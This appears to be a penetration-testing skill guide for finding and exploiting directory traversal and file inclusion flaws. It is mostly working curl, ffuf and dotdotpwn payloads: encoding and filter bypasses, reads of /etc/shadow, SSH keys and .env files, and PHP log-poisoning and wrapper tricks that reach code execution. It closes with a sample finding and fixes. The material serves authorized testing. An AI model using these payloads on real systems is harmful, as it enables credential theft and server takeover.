performing-directory-traversal-testing

Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that accept file names or file paths as parameters.

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name	performing-directory-traversal-testing
description	Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that accept file names or file paths as parameters.
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","directory-traversal","path-traversal","lfi","owasp","web-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083"]

Performing Directory Traversal Testing

When to Use

During authorized penetration tests when the application handles file paths in URL parameters or request bodies
When testing file download, file view, or file include functionality
For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities
When evaluating template engines, logging systems, or report generators that reference files
During security assessments of APIs that accept file names or paths as parameters

Prerequisites

Authorization: Written penetration testing agreement for the target
Burp Suite Professional: For intercepting and modifying file path parameters
ffuf: For fuzzing file path parameters with traversal payloads
dotdotpwn: Automated directory traversal fuzzer (apt install dotdotpwn)
SecLists: Traversal payload wordlists from Daniel Miessler's collection
curl: For manual testing of traversal payloads

Workflow

Step 1: Identify File Path Parameters

Find application endpoints that reference files through parameters.

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

Step 2: Test Basic Directory Traversal Payloads

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \
  -t 20 -rate 50 \
  -o traversal-results.json -of json

# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
  -u "https://target.example.com/download?file=TRAVERSAL" \
  -k "root:" \
  -o /tmp/dotdotpwn-results.txt \
  -d 8 -t 200

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches

# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  "https://target.example.com/"

# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# PHP wrapper for code execution
curl -s -X POST \
  -d "<?php system('id'); ?>" \
  "https://target.example.com/page?file=php://input"

# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="

# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
  "https://target.example.com/page?file=../../../proc/self/environ"

# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>

# Linux high-value files
HIGH_VALUE_LINUX=(
  "/etc/passwd"
  "/etc/shadow"
  "/etc/hosts"
  "/etc/hostname"
  "/proc/self/environ"
  "/proc/self/cmdline"
  "/var/www/html/.env"
  "/var/www/html/config.php"
  "/var/www/html/wp-config.php"
  "/home/user/.ssh/id_rsa"
  "/home/user/.bash_history"
  "/root/.bash_history"
  "/var/log/auth.log"
)

for file in "${HIGH_VALUE_LINUX[@]}"; do
  traversal="../../../../../../..$file"
  echo -n "$file: "
  response=$(curl -s "https://target.example.com/download?file=$traversal")
  if [ ${#response} -gt 10 ]; then
    echo "READABLE (${#response} bytes)"
  else
    echo "Not accessible"
  fi
done

# Windows high-value files
HIGH_VALUE_WIN=(
  "C:\\Windows\\win.ini"
  "C:\\Windows\\System32\\drivers\\etc\\hosts"
  "C:\\inetpub\\wwwroot\\web.config"
  "C:\\Users\\Administrator\\.ssh\\id_rsa"
  "C:\\xampp\\apache\\conf\\httpd.conf"
  "C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)

Concept	Description
Directory Traversal	Using `../` sequences to navigate to parent directories and access files outside the intended path
Local File Inclusion (LFI)	Server-side inclusion of local files, potentially leading to code execution
Remote File Inclusion (RFI)	Including files from external URLs (requires `allow_url_include=On` in PHP)
Null Byte Injection	Using `%00` to truncate file paths, bypassing extension checks in older PHP versions
PHP Wrappers	Protocols like `php://filter`, `php://input`, `data://` for reading and executing files
Log Poisoning	Injecting code into log files and then including them via LFI for code execution
Path Canonicalization	The process of resolving relative paths to absolute paths, which can be exploited

Tool	Purpose
Burp Suite Professional	Request interception and Intruder for automated payload testing
ffuf	Fast fuzzing with LFI/traversal wordlists
dotdotpwn	Dedicated directory traversal fuzzer with multiple traversal patterns
LFISuite	Automated LFI exploitation tool with multiple techniques
SecLists	Comprehensive wordlists including LFI payloads and traversal patterns
Kadimus	LFI scanning and exploitation tool

## Directory Traversal Finding

**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd

### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |

### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`

### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required